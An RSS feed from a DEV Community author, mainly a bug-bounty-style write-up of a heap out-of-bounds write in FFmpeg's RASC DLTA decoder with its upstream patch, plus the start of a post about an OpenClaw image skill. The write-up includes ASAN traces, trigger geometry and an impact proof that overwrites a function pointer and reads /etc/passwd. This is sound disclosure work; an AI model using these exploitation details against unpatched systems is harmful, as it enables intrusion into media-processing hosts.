<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Umar Pathan</title>
    <description>The latest articles on DEV Community by Umar Pathan (@umarpathan).</description>
    <link>https://dev.to/umarpathan</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3502042%2Fa4d976cb-c446-40e5-865a-5f4fc8f93df4.jpg</url>
      <title>DEV Community: Umar Pathan</title>
      <link>https://dev.to/umarpathan</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/umarpathan"/>
    <language>en</language>
    <item>
      <title>I Fixed a Bug That Lived in FFmpeg for 8 Years.</title>
      <dc:creator>Umar Pathan</dc:creator>
      <pubDate>Sun, 19 Jul 2026 18:39:00 +0000</pubDate>
      <link>https://dev.to/umarpathan/i-fixed-a-bug-that-lived-in-ffmpeg-for-8-years-27db</link>
      <guid>https://dev.to/umarpathan/i-fixed-a-bug-that-lived-in-ffmpeg-for-8-years-27db</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for &lt;a href="https://dev.to/bugsmash"&gt;DEV's Summer Bug Smash: Clear the Lineup&lt;/a&gt; powered by &lt;a href="https://sentry.io/" rel="noopener noreferrer"&gt;Sentry&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Project Overview
&lt;/h2&gt;

&lt;p&gt;FFmpeg is the decoder underneath most of the internet's video. If you have ever uploaded a clip, watched a stream, or generated a thumbnail, some version of FFmpeg probably touched that file. Buried inside &lt;code&gt;libavcodec&lt;/code&gt; is a decoder for RASC, the format used by RemotelyAnywhere's old screen capture tool. It is not a format most people have heard of. It is also not a format anyone checks twice before feeding to a transcoder, which is exactly why bugs in it can sit quietly for years.&lt;/p&gt;

&lt;p&gt;This is the story of one that sat there for eight.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bug Fix or Performance Improvement
&lt;/h2&gt;

&lt;p&gt;I first ran into this bug the way a lot of researchers find things: reading someone else's writeup. A researcher going by bikini had published a proof of concept on GitHub (&lt;code&gt;bikini/exploitarium&lt;/code&gt;) for a heap out-of-bounds write in &lt;code&gt;decode_dlta()&lt;/code&gt;, the function that applies delta frames in the RASC decoder. Their PoC was solid. It built a 64x1 PAL8 frame, drove the decoder into a 32-bit write that landed one byte before the end of a 64-byte plane, and used the leftover 3 bytes to flip a callback pointer sitting right after it. The payoff was a Calculator popping open on Windows. Fun, clean, and it proved the write was real.&lt;/p&gt;

&lt;p&gt;But a 64-byte pop is still a single data point. I wanted to know if the bug was really about that specific frame width, or if the width was incidental to something more structural.&lt;/p&gt;

&lt;p&gt;So I sat down with the source. &lt;code&gt;decode_dlta()&lt;/code&gt; walks a frame row by row using a cursor called &lt;code&gt;cx&lt;/code&gt;, bounded by &lt;code&gt;w * s-&amp;gt;bpp&lt;/code&gt; (the row width in bytes). The boundary check lives in a macro:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define NEXT_LINE                        \
    if (cx &amp;gt;= w * s-&amp;gt;bpp) {              \
        cx = 0;                          \
        cy--;                            \
        b1 -= s-&amp;gt;frame1-&amp;gt;linesize[0];    \
        b2 -= s-&amp;gt;frame2-&amp;gt;linesize[0];    \
    }                                    \
    len--;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read that closely and the problem jumps out: &lt;code&gt;NEXT_LINE&lt;/code&gt; checks &lt;code&gt;cx&lt;/code&gt; against the row width, but it only runs &lt;em&gt;after&lt;/em&gt; the decoder has already read or written through &lt;code&gt;cx&lt;/code&gt;. Four of the DLTA run types (4, 7, 12, and 13) do a 32-bit access before that check ever fires. Run type 7 is the cleanest example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;fill&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bytestream2_get_le32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;dc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;cy&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;AV_WL32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AV_RL32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;AV_WL32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;cx&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;NEXT_LINE&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a PAL8 frame, &lt;code&gt;s-&amp;gt;bpp&lt;/code&gt; is 1, so the row width in bytes equals the frame width in pixels. If an attacker sets the DLTA region so that &lt;code&gt;cx&lt;/code&gt; starts at &lt;code&gt;width - 1&lt;/code&gt;, that 4-byte write lands 1 byte inside the row and 3 bytes past it. The row allocation ends exactly where the frame says it should. The write does not.&lt;/p&gt;

&lt;p&gt;I named it RowSpill, because that is literally the mechanic: a row-boundary access spilling past the row's own plane allocation.&lt;/p&gt;

&lt;p&gt;To answer my original question, I rebuilt the trigger at two geometries under ASAN, an allocation-boundary checker that flags reads and writes past the edge of a heap buffer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;width=64, height=1&lt;/code&gt;: ASAN reports a 64-byte region, first invalid byte at &lt;code&gt;plane+64&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;width=128, height=1&lt;/code&gt;: ASAN reports a 128-byte region, first invalid byte at &lt;code&gt;plane+128&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Same 3-byte spill, same offset from the row edge, twice the plane size. The primitive has nothing to do with 64 specifically. It scales with the row, and it will trigger on any PAL8 width of 4 or more as long as the DLTA region's &lt;code&gt;x&lt;/code&gt; field lines up with the last byte of the row. That is the piece the original report did not establish, and it is the piece that matters for anyone deciding how seriously to treat the bug.&lt;/p&gt;

&lt;p&gt;Here is the actual ASAN output from run type 13 at the 128-byte geometry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;==15203==ERROR: AddressSanitizer: unknown-crash on address 0x5100000007bf
READ of size 4 at 0x5100000007bf thread T0
&lt;/span&gt;&lt;span class="gp"&gt;    #&lt;/span&gt;0 0x... &lt;span class="k"&gt;in &lt;/span&gt;decode_dlta rasc.c:457
&lt;span class="gp"&gt;    #&lt;/span&gt;1 0x... &lt;span class="k"&gt;in &lt;/span&gt;decode_frame rasc.c:712
&lt;span class="c"&gt;    ...
&lt;/span&gt;&lt;span class="go"&gt;0x5100000007c0 is located 0 bytes after 128-byte region [0x510000000740,0x5100000007c0)
SUMMARY: AddressSanitizer: unknown-crash rasc.c:457 in decode_dlta
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;"0 bytes after" is ASAN's way of saying the access starts inside the buffer and ends outside it, which is exactly the partial-overlap spill the bug produces.&lt;/p&gt;

&lt;p&gt;The path from an untrusted file to this code is direct. RASC is registered against the &lt;code&gt;RASC&lt;/code&gt; FourCC in &lt;code&gt;libavformat/riff.c&lt;/code&gt;, so any AVI container claiming that tag gets routed straight to &lt;code&gt;decode_dlta()&lt;/code&gt;. No special container tricks, no chained bugs, just an AVI file. I built a 1414-byte one and confirmed it triggers the same write through the plain &lt;code&gt;ffmpeg -i rowspill_128x1.avi -f null -&lt;/code&gt; command line, no library code required.&lt;/p&gt;

&lt;p&gt;For impact, I moved past the Calculator pop and went for something that argues its own severity: I placed a function pointer immediately after the plane, used the OOB write to redirect it with a fully bitstream-controlled 32-bit value (run type 13 reads its fill straight off the wire, so an attacker chooses all 32 bits), and had the hijacked handler read the first lines of &lt;code&gt;/etc/passwd&lt;/code&gt; and write a marker file to &lt;code&gt;/tmp/pwned&lt;/code&gt;. That is a controlled read and a controlled write from a media file, which is a different conversation than a novelty popup.&lt;/p&gt;

&lt;p&gt;This became CVE-2026-58049, CWE-787, rated 8.6 under CVSS 3.1 and 8.8 under CVSS 4.0. My own working estimate going in was 8.1, and the gap is worth being honest about: I scored it assuming user interaction was required to open the file and weighted confidentiality and integrity high based on what the PoC actually demonstrated. The assigned score treats it as requiring no user interaction and leans harder on availability. Both readings are defensible. It is a good reminder that a CVSS vector is an argument, not a measurement, and two careful people can land in different places on the same bug.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;The fix is small on purpose. It adds one helper and calls it before every 32-bit access in the four affected run types:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gh"&gt;diff --git a/libavcodec/rasc.c b/libavcodec/rasc.c
&lt;/span&gt;&lt;span class="gd"&gt;--- a/libavcodec/rasc.c
&lt;/span&gt;&lt;span class="gi"&gt;+++ b/libavcodec/rasc.c
&lt;/span&gt;&lt;span class="p"&gt;@@ -320,6 +320,11 @@&lt;/span&gt; static int decode_move(AVCodecContext *avctx,
     return 0;
 }
&lt;span class="err"&gt;
&lt;/span&gt;&lt;span class="gi"&gt;+static inline int dlta_room(unsigned cx, unsigned w, unsigned bpp, unsigned need)
+{
+    return cx + need &amp;lt;= w * bpp;
+}
+
&lt;/span&gt; #define NEXT_LINE                        \
     if (cx &amp;gt;= w * s-&amp;gt;bpp) {              \
         cx = 0;                          \
&lt;span class="p"&gt;@@ -418,6 +423,8 @@&lt;/span&gt; static int decode_dlta(AVCodecContext *avctx,
         case 4:
             fill = bytestream2_get_byte(&amp;amp;dc);
             while (len &amp;gt; 0 &amp;amp;&amp;amp; cy &amp;gt; 0) {
&lt;span class="gi"&gt;+                if (!dlta_room(cx, w, s-&amp;gt;bpp, 4))
+                    return AVERROR_INVALIDDATA;
&lt;/span&gt;                 AV_WL32(b1 + cx, AV_RL32(b2 + cx));
                 AV_WL32(b2 + cx, fill);
                 cx++;
&lt;span class="p"&gt;@@ -427,6 +434,8 @@&lt;/span&gt; static int decode_dlta(AVCodecContext *avctx,
         case 7:
             fill = bytestream2_get_le32(&amp;amp;dc);
             while (len &amp;gt; 0 &amp;amp;&amp;amp; cy &amp;gt; 0) {
&lt;span class="gi"&gt;+                if (!dlta_room(cx, w, s-&amp;gt;bpp, 4))
+                    return AVERROR_INVALIDDATA;
&lt;/span&gt;                 AV_WL32(b1 + cx, AV_RL32(b2 + cx));
                 AV_WL32(b2 + cx, fill);
                 cx += 4;
&lt;span class="p"&gt;@@ -443,6 +452,8 @@&lt;/span&gt; static int decode_dlta(AVCodecContext *avctx,
             while (len &amp;gt; 0 &amp;amp;&amp;amp; cy &amp;gt; 0) {
                 unsigned v0, v1;
&lt;span class="err"&gt;
&lt;/span&gt;&lt;span class="gi"&gt;+                if (!dlta_room(cx, w, s-&amp;gt;bpp, 4))
+                    return AVERROR_INVALIDDATA;
&lt;/span&gt;                 v0 = AV_RL32(b2 + cx);
                 v1 = AV_RL32(b1 + cx);
                 AV_WL32(b2 + cx, v1);
&lt;span class="p"&gt;@@ -454,6 +465,8 @@&lt;/span&gt; static int decode_dlta(AVCodecContext *avctx,
         case 13:
             while (len &amp;gt; 0 &amp;amp;&amp;amp; cy &amp;gt; 0) {
                 fill = bytestream2_get_le32(&amp;amp;dc);
&lt;span class="gi"&gt;+                if (!dlta_room(cx, w, s-&amp;gt;bpp, 4))
+                    return AVERROR_INVALIDDATA;
&lt;/span&gt;                 AV_WL32(b1 + cx, AV_RL32(b2 + cx));
                 AV_WL32(b2 + cx, fill);
                 cx += 4;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Merged upstream, unmodified, as commit &lt;a href="https://code.ffmpeg.org/FFmpeg/FFmpeg/commit/7ae64dba3c5ee27e63efe5958d20d96f6f03da9b" rel="noopener noreferrer"&gt;&lt;code&gt;7ae64dba3c&lt;/code&gt;&lt;/a&gt;, via &lt;a href="https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/23628" rel="noopener noreferrer"&gt;PR #23628&lt;/a&gt;, "avcodec/rasc: Check that 32-bit DLTA accesses stay within the row."&lt;/p&gt;

&lt;p&gt;Review did not just wave it through. One of the maintainers, James Almer, asked a fair question during review: the cursor &lt;code&gt;cx&lt;/code&gt; starts at zero each row while &lt;code&gt;b1&lt;/code&gt;/&lt;code&gt;b2&lt;/code&gt; are already offset by &lt;code&gt;x&lt;/code&gt;, so shouldn't &lt;code&gt;cx&lt;/code&gt; start at &lt;code&gt;x&lt;/code&gt; instead? It is a reasonable thing to double check on a patch touching pointer arithmetic. The answer holds up: &lt;code&gt;b1&lt;/code&gt; and &lt;code&gt;b2&lt;/code&gt; are computed from &lt;code&gt;x&lt;/code&gt; up front, and the earlier &lt;code&gt;x + w &amp;lt;= avctx-&amp;gt;width&lt;/code&gt; check already guarantees the whole row fits, so checking that &lt;code&gt;cx&lt;/code&gt; stays under the remaining width is sufficient without re-adding &lt;code&gt;x&lt;/code&gt; into the cursor. Small exchange, but it is exactly the kind of scrutiny you want on a security patch, and I would rather have that conversation happen in review than skip it.&lt;/p&gt;

&lt;p&gt;Patched behavior: same crafted AVI, &lt;code&gt;ffmpeg -i rowspill_128x1.avi -f null -&lt;/code&gt; now exits 69 with "Invalid data found when processing input" instead of silently decoding a corrupted frame.&lt;/p&gt;

&lt;h2&gt;
  
  
  My Improvements
&lt;/h2&gt;

&lt;p&gt;Three things changed between bikini's report and what shipped:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scope.&lt;/strong&gt; I did not stop at confirming the 64-byte case. I built a parametrized variant harness that takes a run type (4, 7, 12, or 13) and a frame width (64 or 128) as arguments, and ran all eight combinations under ASAN:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Run type&lt;/th&gt;
&lt;th&gt;Width&lt;/th&gt;
&lt;th&gt;ASAN line&lt;/th&gt;
&lt;th&gt;Region size&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;rasc.c:421&lt;/td&gt;
&lt;td&gt;64 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;rasc.c:430&lt;/td&gt;
&lt;td&gt;64 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;rasc.c:446&lt;/td&gt;
&lt;td&gt;64 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;rasc.c:457&lt;/td&gt;
&lt;td&gt;64 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;128&lt;/td&gt;
&lt;td&gt;rasc.c:421&lt;/td&gt;
&lt;td&gt;128 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;128&lt;/td&gt;
&lt;td&gt;rasc.c:430&lt;/td&gt;
&lt;td&gt;128 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;128&lt;/td&gt;
&lt;td&gt;rasc.c:446&lt;/td&gt;
&lt;td&gt;128 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;128&lt;/td&gt;
&lt;td&gt;rasc.c:457&lt;/td&gt;
&lt;td&gt;128 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;All eight trigger. That table is the difference between "here is a bug at one width" and "here is a bug class that will keep resurfacing at any width until someone fixes the actual check." It is also what convinced me the fix belonged at the &lt;code&gt;NEXT_LINE&lt;/code&gt; boundary itself, not as a special case for one run type.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Impact.&lt;/strong&gt; Swapping the Calculator pop for a controlled read of &lt;code&gt;/etc/passwd&lt;/code&gt; and a controlled write to &lt;code&gt;/tmp/pwned&lt;/code&gt; was not about being flashier. It was about giving the CVSS vector something concrete to point at instead of "a window opened."&lt;/p&gt;

&lt;h3&gt;
  
  
  A stronger impact proof
&lt;/h3&gt;

&lt;p&gt;Bikini's proof redirected a callback to launch Calculator. That is a fine demonstrative primitive. I wanted something that would make a security team flinch.&lt;/p&gt;

&lt;p&gt;My proof uses a 128x1 PAL8 frame. Run type 13. And a &lt;code&gt;Bucket&lt;/code&gt; struct that places a function pointer just past the plane:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint8_t&lt;/span&gt;  &lt;span class="n"&gt;plane&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;FRAME_W&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt;   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;uint8_t&lt;/span&gt;  &lt;span class="n"&gt;palette&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The DLTA write lands at &lt;code&gt;plane[FRAME_W-1..FRAME_W+2]&lt;/code&gt;. Byte 0 of the fill value lands in the last in-row plane byte. Bytes 1, 2, and 3 land on the low three bytes of the &lt;code&gt;handler&lt;/code&gt; pointer.&lt;/p&gt;

&lt;p&gt;The fill value is computed at runtime. Those three bytes become the low three bytes of a target handler address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;fill&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)(((&lt;/span&gt;&lt;span class="n"&gt;target_addr&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x00ffffffu&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mh"&gt;0x41u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After decode, &lt;code&gt;bucket_b-&amp;gt;handler&lt;/code&gt; points where I want it. The hijacked handler then writes a marker file and reads &lt;code&gt;/etc/passwd&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== RowSpill PoC ===
Vulnerability: heap OOB write in FFmpeg RASC DLTA decoder
Geometry: 128x1 PAL8 (128-byte plane allocation)
Run type: 13 (per-iteration 32-bit bitstream-controlled fill)
[addr] handler_safe  =0x56248c054c80
[addr] handler_pwned =0x56248c054d8f
[ptr] bucket_a handler =0x56248c054c80
[ptr] bucket_b handler =0x56248c054d8f (expected 0x56248c054d8f)
[ok] RowSpill: handler redirected via RASC DLTA OOB write
[RowSpill] hijacked handler reached via RASC DLTA OOB write
[RowSpill] file write: /tmp/pwned (PWNED marker + vuln name)
[RowSpill] file read: first 5 lines of /etc/passwd:
  | root:x:0:0:root:/root:/bin/bash
  | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  | bin:x:2:2:bin:/bin:/usr/sbin/nologin
  | sys:x:3:3:sys:/dev:/usr/sbin/nologin
  | sync:x:4:65534:sync:/bin:/bin/sync
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/tmp/pwned&lt;/code&gt; after the run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PWNED
Vulnerability: RowSpill
Component: FFmpeg libavcodec/rasc.c decode_dlta()
Primitive: 32-bit bitstream-controlled heap OOB write
Geometry: 128x1 PAL8 (128-byte plane allocation)
Run type: 13 (per-iteration 32-bit fill from bitstream)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The fix.&lt;/strong&gt; Bikini's writeup described the shape a fix would need to take. I wrote the actual patch, tested it against both geometries and all four run types, confirmed a legitimate packet at the row boundary (&lt;code&gt;x=124, w=4&lt;/code&gt; on a 128-wide frame, and &lt;code&gt;x=60, w=4&lt;/code&gt; on a 64-wide frame) still decodes correctly under the patched build, and sent it to &lt;code&gt;ffmpeg-security&lt;/code&gt;. Michael Niedermayer opened the public PR the next day, and it merged as-is a few hours after review.&lt;/p&gt;

&lt;h2&gt;
  
  
  Best Use of Google AI
&lt;/h2&gt;

&lt;p&gt;I did the root cause analysis and the fix by hand first, then used the same problem to see how far Gemini 3.1 Pro (High), running inside Google's Antigravity IDE, could get on its own.&lt;/p&gt;

&lt;p&gt;The prompt was deliberately narrow: analyze the codebase, focus on &lt;code&gt;decode_dlta()&lt;/code&gt;, find the root cause. No hints about run types, no mention of the 128-byte question. It walked the same path I had: found the &lt;code&gt;NEXT_LINE&lt;/code&gt; macro, flagged that the boundary check runs after the access instead of before, and identified the same four run types as affected. It then built its own reproduction, validated it statically against the source and dynamically against an ASAN build, and independently landed on the 128-byte scaling case, the exact detail bikini's original report never tested. Static reasoning and a real ASAN run agreeing with each other is a much stronger signal than either one alone, and getting there took about 40 minutes end to end, prompt to a working PoC plus a fix patch.&lt;/p&gt;

&lt;p&gt;I still read every line before anything went near &lt;code&gt;ffmpeg-security&lt;/code&gt;. That is not optional on a patch touching a decoder this widely deployed, no matter who or what wrote the first draft. But as a way to compress the distance between "I have a bug report" and "I have an independently reproduced, independently root-caused, independently scaled confirmation of it," it earned its place in this workflow. I have used a lot of coding assistants for security work. Gemini 3.1 Pro, pointed at a specific function with a specific question, is the first one that gave me a second opinion worth taking seriously.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; RowSpill, CVE-2026-58049, CWE-787&lt;br&gt;
&lt;strong&gt;Component:&lt;/strong&gt; &lt;code&gt;libavcodec/rasc.c&lt;/code&gt;, &lt;code&gt;decode_dlta()&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Fix:&lt;/strong&gt; &lt;a href="https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/23628" rel="noopener noreferrer"&gt;PR #23628&lt;/a&gt;, merged as commit &lt;a href="https://code.ffmpeg.org/FFmpeg/FFmpeg/commit/7ae64dba3c5ee27e63efe5958d20d96f6f03da9b" rel="noopener noreferrer"&gt;&lt;code&gt;7ae64dba3c&lt;/code&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Original finding credit:&lt;/strong&gt; bikini (&lt;a href="https://github.com/bikini/exploitarium/tree/main/ffmpeg-rasc-dlta-calc-poc" rel="noopener noreferrer"&gt;&lt;code&gt;bikini/exploitarium&lt;/code&gt;&lt;/a&gt;)&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>bugsmash</category>
    </item>
    <item>
      <title>How I turned a visual idea into a reusable OpenClaw skill</title>
      <dc:creator>Umar Pathan</dc:creator>
      <pubDate>Mon, 27 Apr 2026 15:39:57 +0000</pubDate>
      <link>https://dev.to/umarpathan/openclaw-challenge-222g</link>
      <guid>https://dev.to/umarpathan/openclaw-challenge-222g</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/openclaw-2026-04-16"&gt;OpenClaw Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;A Designer Agent for OpenClaw that turns any photo into a non photorealistic render. Two effects ship with it right now:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;ASCII Pixel&lt;/strong&gt; — your subject gets rebuilt out of colored ASCII glyphs, sitting on a blurred and pixelated version of the original background.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dot Shape&lt;/strong&gt; — a flat blue canvas with white circles and squares sized by luminance, with faint ASCII text running behind everything.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You hand the agent an image, you say "apply ASCII pixel" or "apply dot shape", and it writes its own Python, runs it, and sends back a PNG. No web UI, no boilerplate. The whole thing lives in a single &lt;a href="https://pub-43a0e06d9551420887525349d4f2aa27.r2.dev/SKILL.md" rel="noopener noreferrer"&gt;SKILL.md&lt;/a&gt; file you drop into OpenClaw.&lt;/p&gt;

&lt;p&gt;The point was to make a skill that any OpenClaw user can grab and use the same day, without me being in the loop.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Used OpenClaw
&lt;/h2&gt;

&lt;p&gt;Honestly the origin was lazier than this sounds. I was scrolling X one night and saw someone post a portrait done in ASCII, with this beautiful blurred backdrop bleeding through the characters. I screenshotted it, dragged it into my OpenClaw chat, and said "make me one of these for the photo I'm about to send."&lt;/p&gt;

&lt;p&gt;The first attempt was rough. The agent did &lt;em&gt;something&lt;/em&gt; ASCII shaped but the background was flat black, the subject color was washed out, and bright spots in the original (window glare, lamp glow) were getting rendered as dense glyphs instead of leaving the dotted background alone. It looked busy in the wrong places.&lt;/p&gt;

&lt;p&gt;So I started arguing with it. Each round I would point at a specific failure and we would rewrite the rule that caused it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The bright background problem turned out to be a "luminance supplement" the agent had bolted onto the rembg mask. It thought bright pixels were probably foreground. Killing the supplement and trusting only the rembg mask fixed it.&lt;/li&gt;
&lt;li&gt;Color looked muddy because raw RGB averages from a dim photo stay dim. I had it normalize per cell so the brightest channel always hits 255. Hue stays put, saturation pops.&lt;/li&gt;
